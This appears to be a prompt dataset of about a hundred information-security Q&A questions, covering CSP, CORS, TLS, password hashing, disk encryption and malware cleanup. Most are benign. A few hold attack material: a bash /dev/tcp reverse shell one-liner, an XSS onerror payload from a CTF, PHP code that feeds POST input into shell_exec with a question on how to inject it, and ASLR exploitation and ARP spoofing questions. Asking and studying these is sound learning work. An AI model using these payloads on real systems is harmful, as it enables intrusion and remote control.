instruction
stringlengths
24
29.9k
I read this: How strict should I be in rejecting unexpected query parameters? Answer: No, do not error out on unexpected query string parameters. But I just got a requirement from our security guy that I must do so. Not only for unexpected query string, but also unexpected cookies, headers, and unexpected everything. R...
I have an API that requires a security token to run. Is it possible to use Fail2Ban or ModEvasive to block access from IPs that often try to access the API with an incorrect token? I use PHP to receive these requests, is it possible with it to inform Fail2Ban or ModEvasive that the user's IP should be blocked (temporar...
I am working on writing the privacy policy of a web-app I programmed. I want to tell users about the security measures I have in place (e.g. sha512, variable-length unique salts, and more) but am worried that in the case of data-breach such information would provide additional ammunition for a hacker. Obviously on the ...
How do I bypass a regex filter that filters all html to avoid xss? I've tried using things like &lt;img src="aa" onerror="alert(1)"&gt; but still no luck. This is for a CTF challenge btw. The regex is: <[\s\S]*> and the validator is running on a TypeScript server
Normally, The Document Foundation (TDF) publishes the SHA-256 and SHA-1 hashes, along with the MD5 checksum, for all LibreOffice releases. For example, see this. However, for their current release (v7.1.4), TDF did not publish any hashes or even a checksum (see this and this). Besides compiling from the source code, w...
I've been asked to ensure that our vulnerability scanning tools (like Qualys, Nexpose) are able to reach all of our AWS EC2 instances, on all ports and protocols. Today they are limited by the current security groups (which generally allow either no traffic, or well-defined protocols such as HTTPS). We could implement ...
I was experiencing an issue on one of my webpages, where an AJAX call is made to another script on the server to generate some files for download. Depending on things like server load, number of files needed, etc., the call was timing out. I took the suggestion in this answer, and adjusted the code to make an initial A...
In a talk from Moxie Marlinspike he mentioned that Signal does not intend to release a web application because they are impossible to audit. The javascript code is retrieved on each page load, so it would be trivial to send malicious code that gathers the users keys once in a while without the users noticing. Why is th...
Let us imagine a situation where a company stores its user passwords (let's ignore salts, etc for now) using some hash (say sha256) and the company gets breached. All of the username and password details are now public. The passwords are hashed, thanks to the hashing algorithm. Now someone with ill intent gets their ha...
In this question I asked about how to handle situations when SHA-256 hashes are not available for a file downloaded from the internet that contains executable code. Another community member insightfully asked if a hash is really needed to validate the download (in this case, LibreOffice), since it is a digitally signe...
A few days ago, Let's Encrypt discovered that they misinterpreted RFC 5280, thus making every certificate they issued valid for one second longer than expected. The associated issue on Mozilla bug tracker definitively looks serious, and some people are suggesting revoking all current Let's Encrypt certificates (about 1...
In Digital Signature Scheme, is it possible to forge a message just by knowing the secret key, or does the attacker should also know the hash function used by the original sender? Also does the secret-public key pair change for every message or does it remain the same?
I have a basic question on workflow of SSL enabled sites from client browser to server. My understanding is when the browser has to access some https enabled site, the browser contacts some CAs. I am assuming that the browser will know (through hardcoded information in browser code) IP addresses of some certificate aut...
We are a SaaS-based product but one of the client requirement is to make our application accessible only on their intranet. Is that even possible?
I have an service that accepts an HTTP POST request from the end-user's browser. The user passes their only email. I intend the server to generate a token and store this in a database, and email them the HMAC'd token as a means of implementing a "magic sign in" link. Here is some pseudo-code: SendSignInLinkToEmail(emai...
I have a server that is accessed only via local network in my VPS, as it is local it does not have a domain, it is accessed only via IP (ex.: http://localhost/routine.php). This server will only be accessed via curl through my other servers. Even though it's local, do I need to create an SSL certificate to enable HTTPs...
A quality answer to this question mentions: "System is regularly updated with latest patch specifically certificate/CRL from trusted source such as Microsoft." How does one update certificates/CRL on Windows 7 systems that do not currently have any support contracts? (An attempt to stay on-topic: Please do not use the ...
I am using CryptoJS AES 256 encryption: CryptoJS.AES.encrypt(string, secret); The secret is generated through: function generateKey(str) { const salt = CryptoJS.lib.WordArray.random(128 / 8); const key512Bits = CryptoJS.PBKDF2(str, salt, { keySize: 512 / 32, iterations: 100000 }); return key512Bits.to...
It just doesn't make any sense to me. Any owner of a original PS game disk has full access to it, so it shouldn't be a problem to create an identical disk, isn't it? And PS won't be able to tell apart identical disks, will it?
I can find oodles of websites that tell me the server retains the public key and the client retains the private key. But nothing on how the client authenticates to the server and - perhaps - how the server authenticates to the client
I successfully got a reverse shell: nc -lnvp 8000 # in Kali /bin/bash -i >& /dev/tcp/192.168.6.1/8000 0>&1 # in the victim machine I tried to upgrade it in the standard way: python -c 'import pty; pty.spawn("/bin/bash")' CTRL + Z stty raw -echo fg export TERM=xterm However, after running stty raw -echo and bringing t...
I got a gmail from discord saying a new account had been registered and prompting me to click a verification link. Weirdly, I never made that account, and I already had a discord account under my gmail. Of course, I didn't click the verification link. I checked and was luckily able to log into my discord account, and c...
I would like to know how to use the -extensions parameter of openssl req command to generate a csr with basicConstraint=CA:False, Please not i do not want to use a ssl configuration file but to generate the csr with command line only without referring to a openssl.cnf file. Is this possible ? Thank you.
There are plenty of instructions for converting PEM certificates to DER which also pop up when looking for ways to convert public keys. These are among the options offered: openssl x509 -in cert.pem -out cert.der openssl rsa -in cert.pem -out cert.der openssl pkey -in cert.pem -out cert.der But if the file contains on...
Today I created a web application. I'm using this csp to avoid xss attacks. CSP: Content-Security-Policy", `child-src 'none'; connect-src 'none'; default-src 'none'; font-src 'none'; frame-src 'none'; img-src 'none'; manifest-src 'none'; media-src 'none'; object-src 'none'; prefetch-src 'none'; script-src 'report-sampl...
I recently came across a topic of network steganography, mostly connected with modifying the headers of IP, TCP, ICMP. I was looking for some real-world examples of malware that uses it. I only found two ICMP related examples - Nanolocker and Pingback. But I have a hard time finding ones connected with IP and TCP. Do y...
TLDR; Copying the request from ChromeDevTools along with all cookies allows me to view pages that I should not be able to view after logging in. Have I been pwned ? I just found a terrifyingly easy way to view pages that should be visible to someone only if they are logged in. Let's say I hit the URL www.xyz.com/profi...
My mom wants to find a way to store information securely and host it remotely and wants to host our own mini-server on a Raspberry Pi that'll have contact information of the customers. My sister said to save it in the database of the site but I said if the site gets hacked then it'll expose all that personal informatio...
I received an email, purporting to be from Microsoft Account as a Security Alert. The address looks legit (account-security-noreply@accountprotection.microsoft.com) but the problem is, the email address they refer to in the body of the email is not a Microsoft address. As a matter of fact, it's an @mac.com address. Eve...
I'm looking for a compact, canonical (and possibly but not necessarily human-readable) format for serializing the signature chain for a RRset (or proof that it lies under an insecure delegation) for permanent recording and offline checking, and having trouble finding anything. All of the tool I've used (dig, delv, onli...
Fuchsia's possible Android replacement uses the Zircon microkernel. This means that the drivers should run in userspace. Is this an advantage over Android? For example, closed source drivers now can't do anything they want with the kernel. They can't read/write to arbitrary memory areas, except of course by using an ex...
If I use Google Authenticator for Coinbase, and someone sim-swaps my phone number and gains full access to my email account, can they drain my Coinbase account? They would be in control of my email, sms, and phone calls.
Today Ubuntu (and some other distros) offer a new way to install software, which is snaps. It's software packaged with all its dependencies, run with some kind of containerization, and auto-updated. This might make it sound like it's definitely a safer option, but when you think about it it actually depends on several ...
I have this program that uses ASLR and it leaks information when i overflow a buffer, namely the address of printf. Furthermore i can overwrite the return address. How can i use this to spawn a shell? My approach would have been to calculate the relative offset of system() function with repsect to printf since it is i...
Suppose that VSS is enabled and snapshots exist. If I run a program to wipe the free disk space on my drive, would this delete the VSS snapshots? It might do since the program works by filling up the drive by creating a growing file, and once the file gets really large, Windows might delete the VSS copies due to lack o...
We have a web service where logged in users can create web page content and write custom CSS for their pages. All the HTML goes through a whitelist parser and doesn't allow any executable content. All the CSS is put through a whitelist parser that verifies all CSS. It seems that browsers do not execute JavaScript embed...
I have OSX. Time machine takes periodic backups. This backup is encrypted. If my machine were to be infected and locked by ransomware, what prevents the backup from also being comprised as it is just attached storage? I believe that once decrypted (after prompt) it is just as vulnerable as the main SSD. It could be att...
What is the best alternative to encrypting data to use it in a cookie so that i can decrypt it later to validate the user data? Currently saved: Login - Password and IP in an array and then encrypt it with the function. is that safe? $user_log = array(); $user_log[] = ['ip' => $user_ip, 'login' => $user, 'pass' => $pas...
There are some settings found on Device Manager > Ethernet Driver > Advanced Tab. Are there suggestions for any of these settings? or any suggestion to improve ethernet driver security? Adaptive Inter-Frame Spacing Enable PME Energy Efficient Ethemet Flow Control Gigabit Master Slave Mode Interrupt Moderation Inter...
Numerous mobile applications allow me to "Login with Google". From technical perspective, I assume this would usually follow those OAuth native app login integration guidelines: https://developers.google.com/identity/protocols/oauth2/native-app From user perspective, on both iOS and Android an embedded window of system...
Let's take some examples: Pay Pal, Apple Pay (examples via Saferpay) - will not load in an iFrame Visa Checkout, Stripe (example), Saferpay (link above) - credit card data can be input in an iFrame Is there any technical/security reason why payment service providers differ in their approach to restricting iframe usag...
I'm a 16 y old student who has recently finished 10th grade and has always been interested for tech. I knew some Windows tricks, and few more. Gaming and Netflix really occupied my time, but playing videogames started to bore me. A few months back, I bought a Raspberry Pi to install Plex and I enjoyed playing around wi...
I am planning to use an opensource library to my project instead of developing from scratch. How can I verify there is no malicious code in the library or someone cannot access my files? Currently Visual Studio code implements Workspace Trust and some extensions are disabled even though the extensions are licensed by a...
I have the shadow file from an embedded device running linux. Trying to use John to crack it. There is only the 'root' hash in the shadow file. 12 seconds in, John finds the password for 'root', but the program hasn't stopped trying. JohnFAQ says "The four speed metrics are as follows: g/s is successful guesses per se...
I'd like to encrypt some data on the server using a user-managed secret. I could just ask for a password and derive a key from that, but ideally I'd like to offer users the option of using a yubikey to safeguard the data. This way it would be more resistant to a DB leak scenario and potentially avoid replay attacks. If...
I'm writing a chrome extension that evaluates certain code blocks from GitHub pages, e.g., Lorem ipsum ```html-embed <iframe></iframe> ``` dolor site amet. and adds their content as HTML to the page. Is this potentially dangerous, i.e., is there malicious HTML?
Is it possible to change the string of EICAR file and still detectable? For example, print "KGMAL" instead of "EICAR".
Long story short: I was using AES CBC PKCS5 on my image server, but I lost my keys (one key per image). I know the first 61 bytes (the original and the encrypted) of each image plus I know the IV, and the key length is 256. My question is that can I compute the key from these things?
So if increasing the number of iterations makes the computation power needed more in a linear way. Wouldn't that be a small increase compared to even a single more character added to your password? Even assuming you make your iterations take several seconds, that would only be as much as somewhere around 3 added charac...
Using my own domain on Proton Mail is cool, but what if someone hack my namecheap account? What if some government orders that my domain is redirected? Should I use @protonmail instead of @mydomain? What are the implications?
A web application firewall (WAF) is an application firewall for HTTP applications. It applies a set of rules to an HTTP conversation. Generally, these rules cover common attacks such as Cross-Site Scripting (XSS) and SQL Injection. So from what I understand, this will handle only HTTP. What will happen if HTTPS traffic...
I was learning networking and knew that browsers don't have algorithms to convert domain names to IPs. It queries a DNS server. After that, the computer remembers the IP, so next time the domain is referenced, the browser will use the cached IP. But if there is malware on the device, can it change the cached DNS data s...
I have sensor devices with a configuration web interface. Each device has a unique serial number. The devices are deployed in various environments with private IP addresses such as 192.168.x.y or 10.x.y.z. Between different environments, these IP addresses will often overlap: environment A with a sensor with IP 192.168...
How can you do a CRSF attack on express if it only accepts JSON? Sample Node app: const express = require('express'); const app = express(); app.use(express.json()); app.post('/item', (req, res, next) => { console.log('posting item'); res.send(`posted item name: ${req.body.itemName}`); }); app.listen(400...
After reformatting my hard disk and rebuilding/re-installing the latest macOS operating system, I found the following IP addresses after running Kerberos.internal.com: kerberos.internal.com has address 96.126.123.244 kerberos.internal.com has address 45.33.2.79 kerberos.internal.com has address 45.79.19.196 kerberos.in...
lately I have wondered if through video streaming you could get infected by some type of malware, can it be possible? I have two cases I would like to consider, lets say I stream a video that was uploaded to a cloud storage service like google drive and it contains malware, I know the video file was transcoded to show ...
In a containerized environment, what would be the most appropriate way of configuring Kerberos caches?
There are a lot of excellent resources to sharpen your pentesting skills (like Hackthebox, Vulnhub, Juiceshop, Burp Suite Academy and so on), but I couldn't find something similar for forensics, especially log file analysis. I thought about setting up my own system (e.g., WordPress with a intentionally vulnerable plugi...
I am simulating an ARP Spoofing attack on a local network. I have an Attacker machine on Linux, a web server, and a Victim machine which is trying to access the web server. I am successfully able to spoof the IP of the web server, and I am redirecting the Victim to the virtual web server on the Attacker machine. I made...
In the case of a password hashing function like Argon2, I know that when a weakness is found, you use another password hashing function, wrap it around the existing hashes and calculate the hash of the password directly when the user logs in again. What happens when a password-authenticated key exchange (PAKE) protocol...
I have a mostly public API with some parts of it "credentialed" behind cookies, similarly to e.g. how WordPress' REST API works. (In our case, it's a GraphQL API but that shouldn't matter.) I want to enable CORS for it and am considering two options: Option 1: Access-Control-Allow-Origin: <dynamically return the incomi...
I work for a software company and I'm currently doing research for an enhancement request. Essentially we have a application client which talks to a rest end point which is authenticated using basic authentication over SSL. A client is requesting that our application first perform mTLS with a reverse proxy prior to ba...
I have a website that I am testing but I am pretty new to all of this security stuff and would appreciate some help!. I have a url similar to the following: http://testurl?nexturl=whatever The nexturl parameter determines what url should be displayed after something has happened. I'm trying to test for XSS vulnerabili...
Since the 20H2 build of Windows 10 came out, if I want to run a script without copying and pasting it into a PowerShell window, I have to write the following command: Set-ExecutionPolicy -ExecutionPolicy ByPass -Scope Process -Force I don't want to turn off the default behavior, since it prevents scripts from being ru...
I have an old Windows domain SMB sniffer file circa 1998 and just out of interest I want to see if I can crack it now with John The Ripper. I believe the file was generated using the L0phtCrack SMB Packet Capture feature. The format of the file is a list of entries such as: CADE\idk:3:4c34936620f47214:f08a4ae250ce716af...
Recently I logged in my gmail account on chrome browser and checked the devices linked to my gmail account.surprisingly in the linked devices and in the recent logins it shown my laptop hostname. I just confused seeing that and then I tried logging gmail on Firefox and it doesn’t showed the hostname in the recent login...
Usually, for all types of authentications, we trust the registration process and assume there is no attack is happening Like in the case of FIDO2 registration. However, as the registration process is built within the browser and can be compromised by a chrome extension it is an unrealistic assumption. Google's research...
I am trying to establish SSH connection to a server through a program. As a pre-requisite to be able to do so, I am getting the publicly available server host key using ssh-keyscan <hostname> and adding it to my known_hosts file. I don't have the server host key with me before hand. Can an attacker feed the wrong key t...
I wanted to learn more about keyloggers and how to protect myself from them. I clicked on a result from google, but the site seems to be infected. Link to Sucuri results Do I need to reinstall my computer?
I need to secure the communications between my frontend and backend. My frontend resides in a PHP server owned by DonDominio (web hosting) and my backend in an instance in AWS. My public web domain is .app so I'm forced to use a certificate to secure the communications. That step is done by an SSL certificate provided ...
Often it is impossible at first sight to understand if a package in a repository is up-to-date with security fixes, because the maintainers use a different naming when applying the patches to old branches. So for example, while Foo version 1.2.3 might be old and insecure, version Foo 1.2.3-ubuntu123 might contain secur...
I run a website with a user database. I have an account with my email and I put it on a website like Have I Been Pwned, which does not reveal a breach. I also check the website's list of breaches to see if my website is included, which is not. I imagine that browsers like Chrome and Microsoft Edge use multiple database...
I'm new with Lynis, the security tool. I installed it with a package manager and check that it is the latest version: $ sudo apt-get install lynis ... lynis is already the newest version (2.1.1-1). And yet, when I run lynis audit system, I get: - Program update status... [ WARNING ] ...
I've read some of the other questions here but I still can't fully wrap my head around this. I know there are different 2FA implementations but, assuming the hacker can't access the email account, how (in some instances) are they still able to (assuming they port out the number or intercept codes) reset passwords and u...
Are there any risks to be aware of if you remote into another person's computer via their Teamviewer Partner ID and password? Any recommended settings to choose when remoting into an unknown computer? All of the searches I have tried focus on the risks of allowing someone to access your computer, but I'm curious if the...
I have a SSD and wanted to use VeraCrypt for plausible deniability and protection against any & all level attacks e.g. state sponsored, non sponsored. My goal was to use a VM and place it in the hidden VC container. After further research it seems using VC on a SSD won't "ensure" the level of security I desire for seve...
In the Cryptsetup Frequently Asked Questions page it says: You are asked a passphrase of an existing key-slot first, before you can enter the passphrase for the new key-slot. Otherwise you could break the encryption by just adding a new key-slot. Is it not possible to edit the cryptsetup source code to delete this ve...
I have recently had an active website that was protected by an SSL certificate. The site is no longer active and the certificate has expired. I have tried to put up a simple HTML holding page but Google will not show it because there is an expired certificate associated with the domain. Is there a solution to allow me ...
In classic hosting we have a virtual machine with limited resources allocated by hosting provider for running our web application. But with serverless code such as AWS Lambda or Azure Functions, our code is executed by hosting provider (Amazon or Microsoft) itself in response to events. Theoretically speaking, there is...
I am used to seeing a regular private key, with the standard key block, but I just came across this type which carries extra information as you can see. What format is this and how are these generated (openssl CLI syntax)? if not obvious, <snip> is my way of just reducing the size for easier reading. Public Key Info...
My goal is to be protected against key disclosure laws and possible extortion. I know dm-crypt can be used to perform full disk encryption for GNU/Linux distros. However, it is not enough. I want to be able to hide an operating system in an encrypted hidden partition and create a decoy system for plausible deniability ...
How I can inject a shell command in the below code? <?php if (isset($_POST['search'])) { $res = trim(shell_exec("findstr /l /m /s \"" . $_POST['search'] . "\" archive\\*")); if ($res) { echo "<center>
I'm doing an educational hash research. I generated MD5 hash using online tools and cracked it within a second using Hashcat and certain wordlist (yes, one second). Then I produced a WPA handshake using this same password that I used for MD5. I tried to crack it with aircrack-ng using the very same wordlist. What I fou...
Yeah, it depends. A good answer would provide some reflections on this. I have two concrete scenarios in mind, in two concrete (and I believe common) contexts. Context 1. At home, you’re the only one with access to the computer. Context 2, at work, you and anyone in the IT department have access to the computer. When i...
In my keyring I have the public key of a former colleague. I have signed it, because I trusted that it was his key. I still do so, but the fact that he has left the company of course changes the nature of trust. So basically what I want is: no new encryption operations should be possible with that key (especially impo...
The following search queries are blocked by ModSecurity and returns a 403 forbidden error: www.example.com/s=zip+someword & www.example.com/s=gzip+someword but not www.example.com/s=zip & www.example.com/s=gzip The Apache error_log: [Sun Jun 20 14:15:51.628805 2021] [:error] [pid 3764:tid 47658554889984] [client xxx.xx...
I have come across many questions concerning what security benefit 2FA provide a password manager. (e.g. this question) On the other hand, if I already use 2FA, why would I need a password manager? Won't I be notified if my (perhaps insecure) password becomes compromised? I.e. Someone cracking my password without being...
There are clients (mobile application), they can share links to their profile info, which should be confidential. The link expires in 5 minutes (configured). They set Auth-Code so that the one who gets the link can access the client's data if he gets the correct Auth code. Restrictions: The link data should be encrypt...
Is there any reason why an information security standard such as ISO 27001 is not getting updated as Information Security field is constantly changing and also the requirements but its latest version is for 2013?
How do forensics identify a banking/financial fraud in a Windows system? Malware usually uses real-time TCP sockets to complete their deeds, infecting and compromising the PC it runs on (not the financial system itself), which if not configured otherwise, these connections are not logged anywhere. (As far as I know, yo...
I use nginx configured with HTTPS and an unsigned cert to send files to people sometimes. Despite being just an IP address listed no where, I get traffic from various crawlers and other bots. The other day I saw the following in the access logs: <ip address> - - [20/Jun/2021:10:42:19 -0400] "Gh0st\xAD\x00\x00\x00\xE0\x...
Recently we have run some Security scan report on one of our web-application and it has one issue reported as a path-based vulnerability. The scenario is as follows. The request URL which our application intended to accept is www.host.com/what/ever/ourPage but in security report shows that www.host.com/what/ever/ourPag...
I have not found anywhere how to configure and use sfportscan in snort 3; all documentation I can find is for snort 2. I am aware of this answer, which applies to snort 2.9, and I don't think it helps me here. As far as I understood, I need to put it into the stream = {} object in my snort.lua file, but what is the syn...
My machine has Name Model Disk No. Capacity SDD LITEON L8H 0 240 GB HDD HGST 1 1 TB ( 932 Gb ) SDD contains: Windows 10 (for work) HDD contains: Partition 1 / ├─ Files ( text , imgs , video , other ) ├─ System Backups Partition 2/ ├─ Boot Loader ( Grub ) ├─ Windows 10 I'd like to use my HDD as a sandbo...
When a mail is opened that includes special images, fonts or media, it is loaded from the server of the sender. This is bad because spammers can detect active mail accounts that will get more spam. But when I disable "Always display external images" in Gmail, is that enough to remove that risk? I do not know if there a...
I got a server infected with the Kinsing malware, which mines crypto on your server, maxing out your CPUs. The malware initially creates the files /tmp/kdevtmpfs and /tmp/kinsing If you delete these files and kill the process they get recreated elsewhere in the disk, and also inside your containers to continue with the...
I am using a vpn and trying different firewall rules to keep as secure as possible. But the VPN company itself tells me not to use a firewall. Does that seem reasonable? They write: "As we've mentioned previously, it is not recommended to have UFW/GUFW enabled when connected to our VPN, as it may cause interference a...
I was reading a documentation that suggests blocking the computer from transferring files to an external device, such as a HD, Camera or Pen Drive, allowing only reading. Is this type of protection still valid? Because today anyone can for example copy something inappropriate (files or data) and paste it on file sharin...
We are trying to develop a GENERIC WAF Rule for SQLI Prevention for WordPress-based websites that can provide some level of effectiveness with a very low probability of having false positives. From my understanding I think we can provide some level of protection by default using these things: Matching for table_names,...
I've started creating a framework that aims to make anything into an IoT device. In order to stay online, a peer 2 peer layer needs to be implemented. On top of it, common point services will give the network structure and logistical support by offloading computation. Logistical support can come from other peers or com...